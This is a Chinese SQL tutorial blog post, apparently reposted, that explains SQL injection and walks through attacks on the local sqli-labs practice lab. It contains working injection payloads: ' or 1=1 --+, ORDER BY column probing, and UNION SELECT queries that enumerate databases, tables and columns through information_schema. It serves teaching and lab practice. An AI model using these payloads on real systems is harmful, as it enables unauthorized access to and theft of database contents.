SQL进阶理论篇(二十):什么是SQL注入

文章目录

  • 简介
  • SQL注入的原理
  • SQL注入的实例
    • 搭建sqli-labs注入环境
    • 实例一:猜测where条件
    • 判断查询语句的字段数
    • 获取当前数据库和用户信息
    • 获取MySQL中的所有数据库名称
    • 查询wucai数据库中的所有数据表
    • 查询heros数据表中的所有字段
    • 参考文献

简介

这节是纯兴趣篇了。

web安全是一个很大的课题,稍有不注意,就会留下漏洞,允许别人通过非正常的方式注入SQL。

本节我们将通过几个简单的练习来展示以下SQL注入的过程,主要包括以下几部分:

  • SQL注入的原理。用户是如何通过URL请求或者提交web表单的方式提交非法SQL命令的?
  • 如何使用sqli-labs注入平台来进行SQL注入实验?

SQL注入的原理

SQL注入,也叫做SQL Injection。是将非法的SQL命令插入到URL或者表单里进行提交,服务器接收到这些非法提交之后,会认为是正常的SQL语句而执行,从而暴露给用户很多不该看到的信息。

那是如何实现把SQL语句隐藏在输入的信息中呢?

这里举个简单的例子。

如下面的PHP代码,是将浏览器发送过来的URL请求,通过GET的方式获取ID参数,赋值给$id变量,然后通过字符串拼接的方式组成了SQL语句。这里的代码没有对传入的ID参数做检验,而是采用了直接拼接的方式,这样就可能产生SQL注入。

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

如果我们在URL里的?id=后面输入' or 1=1 --+,那么SQL语句就变成了:

SELECT * FROM users WHERE id='' or 1=1 --  LIMIT 0,1

其中+在浏览器URL相当于是空格,而输入的--则把之后的limit全部注释掉了,整个SQL摇身一变,可以从users表中获取所有数据了。

危险。

SQL注入的实例

通常我们希望通过SQL注入获取更多的信息,比如说数据库名、表名和字段名等。

搭建sqli-labs注入环境

这是一个开源的SQL注入平台,用来模拟实现注入。可以从github上下载。

第二步,下载好后,我们需要配置PHP、Apache环境,来运行sqli-labs。如果本机没有这些环境也没有关系,推荐直接使用phpStudy这个工具,里面集成了PHP、Apache和MySQL,甚至还能指定版本,其运行图如下:

在这里插入图片描述

第三步,配置sqli-labs以及Mysql参数。

给sqli-labs指定需要访问的数据库账户和密码。打开sqli-labs-master\sql-connections\db-creds.inc文件,修改里面的$dbpass,改成我们自己的MySQL密码。

在这里插入图片描述

接着访问http://localhost/sqli-labs-master/,在打开的下面页面里,选择Setup/reset Database for labs,以启动数据库。

在这里插入图片描述

如果此时提示数据库连接错误,那可能需要我们修改以下MySQL的配置文件:

[client]
default-character-set=utf8
[mysql]
default-character-set=utf8
[mysqld]
character-set-server = utf8
default_authentication_plugin = mysql_native_password

实例一:猜测where条件

访问本地的http://localhost/sqli-labs-master/Less-1/页面,如下所示:

在这里插入图片描述

我们可以在URL里加上ID参数,来获取指定ID的信息,比如:http://localhost/sqli-labs-master/Less-1/?id=1

像这种都是正常的访问请求,现在我们访问http://localhost/sqli-labs-master/Less-1/?id=1 or 1=1,回车后发现仍然能正常访问,说明ID参数不是数值查询,有可能是字符串查询,那我们在1后面加上一个单引号,即访问http://localhost/sqli-labs-master/Less-1/?id=1'

这时候页面上会返回错误信息:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1。

剖析这个错误,我们可以判断出后台的SQL语句,类似于:

$sql="SELECT ... FROM ... WHERE id='$id' LIMIT 0,1";

判断查询语句的字段数

现在我们已经对后台的SQL查询有了大致的判断,是通过字符串拼接完成的SQL查询。现在我们判断下这个查询语句里的字段个数。怎么判断呢,通常是根据order by x,这里的x是我们估计的字段个数。在SQL里,如果x数值大于select查询的字段数,会报相应的语法错误。根据这个原理,我们就可以摸索出select查询的具体字段数。

比如:

http://localhost/sqli-labs-master/Less-1/?id=1' order by 4 --+

报错。

http://localhost/sqli-labs-master/Less-1/?id=1' order by 3 --+

正确。

说明select查询的字段数为3个。

获取当前数据库和用户信息

这里我们使用union操作符。

前面我们已经判断出,查询语句的字段个数为3,那么我们就union上select 1, datebase(), user()来获取当前数据库名和用户名。

整个URL为:http://localhost/sqli-labs-master/Less-1/?id=' union select 1,database(),user() --+

返回结果如图:

在这里插入图片描述

页面中显示的security就是当前的数据库名称,root则表示当前的用户信息。

获取MySQL中的所有数据库名称

仍然是使用union操作符,但是数据库名称数量肯定是大于1的,所以我们需要使用group_concat(),将同一分组中的值连接起来,以字符串的形式返回。

具体使用如下:

http://localhost/sqli-labs-master/Less-1/?id=' union select 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)--+

页面返回如下:

在这里插入图片描述

查询wucai数据库中的所有数据表

上一步我们得到了所有的数据库名称,如果我们想查看指定数据库中都有哪些数据表,可以使用:

http://localhost/sqli-labs-master/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='wucai') --+

在这里插入图片描述

查询heros数据表中的所有字段

如果我们想查看指定数据表中的字段,可以使用:

http://localhost/sqli-labs-master/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='heros') --+

在这里插入图片描述

参考文献

  1. 37丨SQL注入:你的SQL是如何被注入的?

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/266440.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【快速开发】使用SvelteKit

自我介绍 做一个简单介绍,酒架年近48 ,有20多年IT工作经历,目前在一家500强做企业架构.因为工作需要,另外也因为兴趣涉猎比较广,为了自己学习建立了三个博客,分别是【全球IT瞭望】,【…

MATLAB遗传算法工具箱的三种使用方法

MATLAB中有三种调用遗传算法的方式: 一、遗传算法的开源文件 下载“gatbx”压缩包文件,解压后,里面有多个.m文件,可以看到这些文件的编辑日期都是1998年,很古老了。 这些文件包含了遗传算法的基础操作,包含…

YOLOv5算法改进(23)— 更换主干网络GhostNet + 添加CA注意力机制 + 引入GhostConv

前言:Hello大家好,我是小哥谈。本节课就让我们结合论文来对YOLOv5进行组合改进(更换主干网络GhostNet + 添加CA注意力机制 + 引入GhostConv),希望同学们学完本节课可以有所启迪,并且后期可以自行进行YOLOv5算法的改进!🌈 前期回顾: YOLOv5算法改进(1)— 如何去…

MyBatis笔记

Mybatis Mybatis介绍 什么是Mybatis? mybatis是支持普通SQL查询、存储过程和高级映射的优秀持久层框架。 Mybatis优点 几乎消除了JDBC代码和参数的手动设置消除结果集的检索使用XML或注解用于配置和原始映射,将接口和POJOs(实体类)映射成数据库中的记录。 My…

Qt/QML编程学习之心得:在QML中调用fileDialog(十六)

Qt中有一些内置的对话框dialog,比如 在QWidget工程中使用比较容易,比如 #include <QFileDialog>fileName = QFileDialog::getOpenFileName(this, tr("Open Image"), "/home/jana", tr("Image Files (*.png *.jpg *.bmp)")); 那么在QM…

oracle即时客户端(Instant Client)安装与配置

之前的文章记录了oracle客户端和服务端的下载与安装&#xff0c;内容参见&#xff1a; 在Windows中安装Oracle_windows安装oracle 如果不想安装oracle客户端&#xff08;或者是电脑因为某些原因无法安装oracle客户端&#xff09;&#xff0c;还想能够连接oracle远程服务&#…

智能优化算法应用:基于原子轨道搜索算法3D无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于原子轨道搜索算法3D无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于原子轨道搜索算法3D无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.原子轨道搜索算法4.实验参数设定…

智能优化算法应用:基于跳蛛算法3D无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于跳蛛算法3D无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于跳蛛算法3D无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.跳蛛算法4.实验参数设定5.算法结果6.参考文献7.MA…

贪吃蛇(十)贪吃蛇吃食物

上节讲到限制蛇身回头&#xff0c;本节要实现吃食物功能 实现思路 在存储上食物方面可以复用蛇的结构体。初始化食物的时候&#xff0c;我们设置食物的坐标&#xff0c;每次调用这个函数的时候&#xff0c;坐标发生一些规律的变化。另外我们需要扫描食物的函数&#xff0c;这…

科研学习|论文解读——面向电商内容安全风险管控的协同过滤推荐算法研究

【论文完整内容详见知网链接】&#xff1a; 面向电商内容安全风险管控的协同过滤推荐算法研究 - 中国知网 (cnki.net) 面向电商内容安全风险管控的协同过滤推荐算法研究* 摘 要&#xff1a;[目的/意义]随着电商平台商家入驻要求降低以及商品上线审核流程简化&#xff0c;内容安…

一起学量化之macd指标

macd指标 1. macd指标定义 MACD的组成要素MACD称为异同移动平均线&#xff0c;是从双指数移动平均线发展而来的。MACD由一根快线、一根慢线、一根0轴线和无数根红绿柱状线组成。 如下图所示&#xff0c;粉色的是快线&#xff0c;也称DIFF线&#xff1b;蓝色的是慢线&#xf…

线程池构造方法的认识

线程池中构造方法的认识 文章目录 线程池中构造方法的认识corePoolSize (核心线程数)maximumPoolSize&#xff08;最大线程数&#xff09;keepAliveTime(非核心线程的空闲超时时间)TimeUnitworkQueuethreadFactoryRejectedExecutionHandler拒绝策略 标准库中提供了一个ThreadPo…

C语言 enum类型

enum,枚举,是 C 语言中的一种基本数据类型&#xff0c;用于定义一组具有离散值的常量&#xff0c;它可以让数据更简洁&#xff0c;更易读。 语法&#xff1a; enum 枚举名 {枚举元素1,枚举元素2,……}; 直接上例子 #include<stdio.h> enum DAY { MON1, TUE, WED, TH…

华为鸿蒙应用--封装数据持久化工具:首选项Preferences(鸿蒙工具)-ArkTs

一、使用方法&#xff1a; 0、初始化实例&#xff1a;一般在EntryAbility.ts的onWindowStageCreate中初始化&#xff1b;&#xff08;可忽略&#xff09; 1、将数据写入Preferences实例 function() {let arrayNum: number[] [1, 2, 3];let arrayStr: string[] ["5&quo…

2023美团机器人研究院学术年会成功举办

2023年12月19日&#xff0c;深圳市美团机器人研究院学术年会在清华大学深圳国际研究生院成功落下帷幕。会议回顾了研究院成立一年来的进展和成果&#xff0c;并邀请了各界专家共同讨论机器人技术的未来发展趋势。此外&#xff0c;年会期间还举办了首届低空经济智能飞行管理挑战…

Web前端复习

一、随堂练习 1.小题 margin vanish&#xff1a;border和inline-block都可以形成bfc二维数组转置&#xff1a;res[i] [];函数的不同声明定义&#xff1a; 有变量名字的函数&#xff0c;即便后面声明了同样的&#xff0c;以函数表达式为主&#xff1b;定义&#xff0c;运行。再…

VS Code实现“Ctr+save”保存代码自动格式化

一、下载Prettier - Code formatter插件 点击安装即可 二、配置 【1】打开文件——首选项——设置 或者左下角齿轮打开设置 【2】搜索设置框输入editor default formatter&#xff08;意思是默认格式化设置&#xff09;&#xff0c;接着下拉选中刚下好的插件名称Prettier - C…

网络爬虫之多任务数据采集(多线程、多进程、协程)

进程&#xff1a;是操作系统中资源分配的基本单位 线程&#xff1a;使用进程分配的资源处理具体任务 一个进程中可以有多个线程&#xff1a;进程相当于一个公司&#xff0c;线程就是公司里面的员工。 一 多线程 多线程都是关于功能的并发执行。而异步编程是关于函数之间的非…

N-136基于springboot,vue在线聊天系统

开发工具&#xff1a;IDEA 服务器&#xff1a;Tomcat9.0&#xff0c; jdk1.8 项目构建&#xff1a;maven 数据库&#xff1a;mysql5.7 系统分前后台&#xff0c;项目采用前后端分离 前端技术&#xff1a;TypeScriptVue3.0ElementUI-Plus 服务端技术&#xff1a;springboo…

【常见的语法糖(详解)】

&#x1f7e9; 说几个常见的语法糖 &#x1f7e2;关于语法糖的典型解析&#x1f7e2;如何解语法糖&#xff1f;&#x1f7e2;糖块一、switch 支持 String 与枚举&#x1f4d9;糖块二、泛型&#x1f4dd;糖块三、自动装箱与拆箱&#x1f341;糖块四、方法变长参数&#x1f5a5;️…